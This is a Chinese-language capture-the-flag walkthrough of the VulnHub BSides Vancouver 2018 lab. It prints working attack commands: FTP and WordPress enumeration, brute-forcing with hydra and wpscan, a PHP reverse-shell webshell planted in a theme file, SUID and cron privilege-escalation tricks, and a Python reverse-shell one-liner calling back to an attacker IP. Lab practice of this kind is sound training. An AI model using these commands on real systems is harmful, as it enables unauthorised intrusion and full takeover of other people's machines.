BSides Vancouver: 2018 (Workshop)

BSides Vancouver: 2018 (Workshop)

来自 <https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop,231/>

1，将两台虚拟机网络连接都改为NAT模式

2，攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182，靶场IP192.168.23.199

3，对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.199

服务器同时存在FTP,SSH,HTTP服务，分别进行信息收集

1. FTP 服务 (vsftpd 2.3.5)

• 漏洞风险：
  • 匿名登录：允许匿名访问（用户 ftp/空密码），存在信息泄露风险。
  • 版本检查：vsftpd 2.3.5 已修复著名的后门漏洞（CVE-2011-2523），但仍需验证是否存在其他漏洞。
• 建议操作：
  • 登录并检查 public 目录内容：
    ftp <IP>
    # 用户名：anonymous，密码：空或任意邮箱
    ls
    get <文件>  # 下载可疑文件
  • 检查是否有写入权限（尝试上传文件）。

2. SSH 服务 (OpenSSH 5.9p1)

• 漏洞风险：
  • 旧版本风险：可能受漏洞如 CVE-2016-0777（信息泄露）影响。
  • 弱密钥类型：DSA 1024位密钥强度不足，建议升级至 RSA 2048+ 或 ECDSA。
• 建议操作：
  • 扫描支持的加密算法：
    nmap --script ssh2-enum-algos <IP>
  • 避免使用不安全的算法（如 CBC 模式）。

3. HTTP 服务 (Apache 2.2.22)

• 漏洞风险：
  • Apache 漏洞：旧版本可能受拒绝服务（CVE-2011-3192）或目录遍历漏洞影响。
  • 敏感路径泄露：/backup_wordpress 可能存在备份文件（如 wp-config.php）。
• 建议操作：
  • 访问 http://<IP>/backup_wordpress/，检查是否存在：
    • WordPress 备份文件（.zip, .sql 等）。
    • 配置文件（含数据库凭据）。
  • 执行目录扫描：
    gobuster dir -u http://<IP>/ -w /path/to/wordlist.txt

4，尝试匿名登录ftp服务器

anonymous

查看目录 ls

发现public目录，进入pubilc目录 cd public

然后get下载这个txt文件 get user.txt.bk

5，访问一下80端口的网站

应该还需要扫出网站的子目录

扫描出来robots.txt，访问之

/backup_wordpress访问之

http://192.168.23.199/backup_wordpress/

dirsearch -u http://192.168.23.199/backup_wordpress -x 403,404,500

是存在登录页面的，推测ftp服务器泄露文件的用户名用于登录wordpress

6，还有方法就是使用hydra爆破ssh登录。这里使用wpscan扫描WordPress，暴破后台用户名：

wpscan --url http://192.168.23.199/backup_wordpress --enumerate u

爆破后台密码：

wpscan --url ' http://192.168.23.199/backup_wordpress/' --api-token 'API' -U wordpressusers.txt -P /usr/share/wordlists/rockyou.txt

爆破出账号密码john/enigma

成功登录

7，尝试修改404页面的内容，使用的脚本是kali自带的反弹shell木马

cp /usr/share/webshells/php/php-reverse-shell.php /root

http://192.168.23.199/backup_wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentysixteen

 成功上传

8，在攻击机上开启nc对4444端口监听，

然后访问一个不存在的网页

http://192.168.23.199/backup_wordpress/wp-content/themes/twentysixteen/404.php

9，python脚本启动一个交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

信息收集发现用户

然后尝试ssh爆破出用户弱口令

hydra -l anne -P /usr/share/wordlists/rockyou.txt -t 4 ssh://192.168.23.199

第一种办法，服务器配置不当弱口令登录提权

10，ssh成功登录。账户/密码：anne/princess

anne@192.168.23.199

sudo -l发现所有命令都能够sudo权限，直接提权成为root

第二种办法，777权限文件反弹shell提权

1，查找具有777权限的文件

find / -type f -perm 0777 2>/dev/null

关键参数解析：

• sudo
  以 root 权限执行，避免因目录不可读导致的遗漏（若以普通用户身份运行，可能漏掉大量文件）。
• -perm 0777
  严格匹配权限为 777 的文件（八进制写法更规范）。
• 2>/dev/null
  忽略所有错误（如权限拒绝、文件不存在等）。

与Linux 提权联系：

风险场景

权限为 777 的文件意味着任何用户均可读、写、执行，攻击者可能利用以下场景提权：

文件类型	提权利用方式	示例
可执行程序/脚本	替换文件内容，插入恶意代码（如反弹 Shell），等待高权限用户或服务调用。	/usr/local/bin/custom*
Cron Job 脚本	修改定时任务脚本，注入提权代码，利用 Cron 以 root 权限执行。	/etc/cron.daily/*
服务配置文件	修改服务配置文件，诱导服务重启后加载恶意模块或执行命令。	/etc/init.d/*.conf
日志/临时文件	写入恶意内容并配合符号链接、竞争条件等漏洞提权。	/var/log/*.log
SUID/SGID 文件	若权限为 777 且设置了 SUID，直接修改文件内容可获取 root 权限。	/usr/bin/old_tool

典型案例

• Cron Job 提权
  若发现 /etc/cron.hourly/cleanup 权限为 777，攻击者可写入以下代码：
  chmod +s /bin/bash  # 赋予 Bash SUID 权限
  Cron 以 root 执行后，普通用户运行 /bin/bash -p 即可获得 root Shell。
• SUID 滥用
  若某 SUID 程序权限为 777：
  echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /usr/bin/vulnerable
  /tmp/rootbash -p  # 启动后获得 root

2，再插入恶意提权代码

echo '#!/bin/sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.23.182",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'' > /usr/local/bin/cleanup

反弹shell成为root用户